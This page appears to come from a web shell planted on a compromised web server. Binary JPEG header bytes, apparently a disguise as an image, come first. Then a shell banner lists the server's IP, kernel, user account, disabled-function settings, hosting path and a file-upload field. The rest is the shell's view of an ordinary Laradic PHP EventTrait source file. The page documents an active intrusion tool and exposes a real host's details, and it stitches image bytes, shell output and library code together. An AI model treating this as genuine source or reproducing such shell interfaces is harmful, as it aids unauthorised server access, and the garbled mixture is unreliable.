ÿØÿà JFIF H H ÿÛ C ÿÛ Cÿ " ÿÄ ÿÄ ÿÚ ±5¬€ ÿÄ àÿÚ ÿÄ ÀÿÚ ? ÿÄ ÀÿÚ ? ÿÄ àÿÚ ? ÿÄ àÿÚ ?! ÿÚ ÿÄ ÀÿÚ ? ÿÄ ÀÿÚ ? ÿÄ àÿÚ ? ÿÙ
| Server IP : 160.25.81.117 / Your IP : 216.73.216.137 Web Server : Apache/2 System : Linux sv05.hilab.cloud 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : bellizen ( 1045) PHP Version : 7.2.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/bellizen/domains/bellizeno.com/public_html/vendor/laradic/support/src/Traits/ |
Upload File : |
<?php
/**
* Part of the Laradic PHP packages.
*
* MIT License and copyright information bundled with this package in the LICENSE file
*/
namespace Laradic\Support\Traits;
use Illuminate\Contracts\Events\Dispatcher;
/**
* This is the EventTrait.
*
* @package Laradic\Support
* @author Laradic Dev Team
* @copyright Copyright (c) 2015, Laradic
* @license https://tldrlegal.com/license/mit-license MIT License
*/
trait EventTrait
{
/**
* The event dispatcher instance.
*
* @var \Illuminate\Events\Dispatcher
*/
protected $dispatcher;
/**
* The event dispatcher status.
*
* @var bool
*/
protected $dispatcherStatus = true;
/**
* Returns the event dispatcher.
*
* @return \Illuminate\Events\Dispatcher
*/
public function getDispatcher()
{
return $this->dispatcher;
}
/**
* Sets the event dispatcher instance.
*
* @param \Illuminate\Contracts\Events\Dispatcher|\Illuminate\Events\Dispatcher $dispatcher
* @return $this
*/
public function setDispatcher(Dispatcher $dispatcher)
{
$this->dispatcher = $dispatcher;
return $this;
}
/**
* Returns the event dispatcher status.
*
* @return bool
*/
public function getDispatcherStatus()
{
return $this->dispatcherStatus;
}
/**
* Sets the event dispatcher status.
*
* @param bool $status
* @return $this
*/
public function setDispatcherStatus($status)
{
$this->dispatcherStatus = (bool)$status;
return $this;
}
/**
* Enables the event dispatcher.
*
* @return $this
*/
public function enableDispatcher()
{
return $this->setDispatcherStatus(true);
}
/**
* Disables the event dispatcher.
*
* @return $this
*/
public function disableDispatcher()
{
return $this->setDispatcherStatus(false);
}
/**
* Fires an event.
*
* @param string $event
* @param mixed $payload
* @param bool $halt
* @return mixed
*/
protected function fireEvent($event, $payload = [ ], $halt = false)
{
if (! isset($this->dispatcher)) {
$this->initEventDispatcher();
}
$dispatcher = $this->dispatcher;
$status = $this->dispatcherStatus;
if (! $dispatcher || $status === false) {
return;
}
$method = $halt ? 'until' : 'fire';
return $dispatcher->{$method}($event, $payload);
}
/**
* Initialize a new Event Dispatcher instance.
*
* @return void
*/
protected function initEventDispatcher()
{
$this->setDispatcher(app('events'));
}
}